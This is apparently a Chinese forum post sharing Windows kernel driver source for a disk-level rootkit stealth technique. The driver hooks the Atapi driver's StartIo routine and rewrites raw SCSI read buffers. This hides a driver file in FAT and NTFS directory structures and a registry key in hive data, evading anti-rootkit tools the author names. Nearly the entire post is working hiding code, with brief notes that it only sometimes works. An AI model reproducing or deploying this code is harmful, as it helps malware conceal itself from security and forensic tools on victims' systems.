文件的貌似有时候能隐藏又时候不行~郁闷的是每次跟过去就可以隐藏了，不跟的话有时候又隐藏不了~最后懒得改了~~~另外 由于没有动CACHE，所以对于用API或者FSD的文件检查反而过不去~
注册表的部分过FILE CACHE的低强度解析（例如狙剑）也是过不了的~由于这方面工具很少，冰刃和DARKSPY又总是在我的虚拟机上蓝屏，所以就没仔细测试了~也许有问题~
代码:
ULONG oldstartio;
PDRIVER_OBJECT atapi_dev ;
VOID unload(
PDEVICE_OBJECT DeviceObject,
PIRP Irp
)
{
atapi_dev->DriverStartIo = oldstartio ;
return ;
}
CHAR fileHide[] = "MJ0011K";
CHAR fileExt[] = "SYS";
WCHAR hideFile[] = L"MJ0011K.SYS";
typedef struct _INDEX_HEADER{
UCHAR magic[4];
USHORT UpdateSequenceOffset;
USHORT SizeInWords;
LARGE_INTEGER LogFileSeqNumber;
LARGE_INTEGER VCN;
ULONG IndexEntryOffset; // needed!
ULONG IndexEntrySize;
ULONG AllocateSize;
}INDEX_HEADER, *PINDEX_HEADER;
typedef struct _INDEX_ENTRY{
LARGE_INTEGER MFTReference;
USHORT Size; // needed!
USHORT FileNameOffset;
USHORT Flags;
USHORT Padding;
LARGE_INTEGER MFTReferParent;
LARGE_INTEGER CreationTime;
LARGE_INTEGER ModifyTime;
LARGE_INTEGER FileRecModifyTime;
LARGE_INTEGER AccessTime;
LARGE_INTEGER AllocateSize;
LARGE_INTEGER RealSize;
LARGE_INTEGER FileFlags;
UCHAR FileNameLength;
UCHAR NameSpace;
WCHAR FileName[1];
}INDEX_ENTRY, *PINDEX_ENTRY;
CHAR NtfsFileRecordHeader[] = "FILE";
CHAR NtfsIndexRootHeader[] = "INDX";
#define FILERECORDSIZE 1024
ULONG xxlong = 0x7 ;
WCHAR regname[] = L"MJ0011K";
VOID HandleRegHide(PVOID buf , ULONG len )
{
ULONG i ;
for (i = 0 ; i < len ; i ++)
{
if (i + 4 >= len)
{
break ;
}
if (*(ULONG*)((ULONG)buf + i ) == xxlong)
{
if (i + 4 + xxlong * sizeof(WCHAR) >= len)
{
break ;
}
if (_wcsnicmp((wchar_t*)((ULONG)buf + i + 4) , regname , xxlong))
{
RtlZeroMemory((PVOID)((ULONG)buf + i + 4) , xxlong * sizeof(WCHAR));
*(ULONG*)((ULONG)buf +i ) = 0 ;
break ;
}
}
}
return ;
}
VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)
{
ULONG i;
BOOLEAN bIsNtfsIndex;
BOOLEAN bIsNtfsFile;
ULONG offset = 0;
ULONG indexSize = 0;
PINDEX_ENTRY currIndxEntry = NULL;
PINDEX_ENTRY preIndxEntry = NULL;
ULONG currPosition;
bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);
bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);
if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)
{
for(i = 0; i < BufLen/0x20; i++)
{
if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))
{
*(PUCHAR)UserBuf = 0xe5;
*(PULONG)((ULONG)UserBuf + 0x1) = 0;
break;
}
UserBuf = (PVOID)((ULONG)UserBuf + 0x20);
}
} else if(bIsNtfsFile) {
//DbgPrint("FILE0...");
for(i = 0; i < BufLen / FILERECORDSIZE; i++)
{
if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))
{
memset((PVOID)UserBuf, 0, 0x4);
memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);
break;
}
UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);
}
} else if(bIsNtfsIndex) {
//DbgPrint("INDX...");
// Index Entries
offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;
indexSize = BufLen - offset;
currPosition = 0;
currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);
//DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);
while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)
{
if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))
{
memset((PVOID)currIndxEntry->FileName, 0, 18);
if(currPosition == 0)
{
((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;
break;
}
preIndxEntry->Size += currIndxEntry->Size;
break;
}
currPosition += currIndxEntry->Size;
preIndxEntry = currIndxEntry;
currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);
}
}
}
VOID mystartio( PDEVICE_OBJECT DeviceObject, PIRP Irp )
{
PIO_STACK_LOCATION irp_stack ;
irp_stack = IoGetCurrentIrpStackLocation(Irp);
if (irp_stack->DeviceObject->DeviceType == FILE_DEVICE_DISK &&
irp_stack->Parameters.Scsi.Srb->Function == SRB_FUNCTION_EXECUTE_SCSI &&
irp_stack->Parameters.Scsi.Srb->CdbLength == 0xA &&
(irp_stack->Parameters.Scsi.Srb->SrbFlags & SRB_FLAGS_DATA_IN) &&
irp_stack->Parameters.Scsi.Srb->DataBuffer &&
irp_stack->Parameters.Scsi.Srb->DataTransferLength
)
{
PVOID buf = irp_stack->Parameters.Scsi.Srb->DataBuffer ;
ULONG len = irp_stack->Parameters.Scsi.Srb->DataTransferLength ;
ULONG i ;
PMDL mdl = Irp->MdlAddress ;
KDMSG(("disk device bus read request!lba = %08x , len = %08x\n",
irp_stack->Parameters.Scsi.Srb->QueueSortKey ,
irp_stack->Parameters.Scsi.Srb->DataTransferLength));
__asm
{
push Irp
push DeviceObject
call oldstartio
}
buf = MmGetSystemAddressForMdl(mdl );
HandleAkDiskHide(buf , len );
HandleRegHide(buf , len);
return ;
}
__asm
{
push Irp
push DeviceObject
call oldstartio
}
return ;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT drvobj , PUNICODE_STRING regpath)
{
UNICODE_STRING uniname ;
NTSTATUS stat ;
drvobj->DriverUnload = (PDRIVER_UNLOAD )unload ;
RtlInitUnicodeString(&uniname , L"\\Driver\\Atapi");
stat = ObReferenceObjectByName(&uniname ,
OBJ_CASE_INSENSITIVE ,
NULL ,
0,
*IoDriverObjectType ,
KernelMode ,
NULL ,
(PVOID*)&atapi_dev);
if (!NT_SUCCESS(stat))
{
KDMSG(("get atapi drvobj failed , stat = %08x\n" , stat));
return stat ;
}
oldstartio = atapi_dev->DriverStartIo ;
atapi_dev->DriverStartIo = mystartio;
return STATUS_SUCCESS ;
}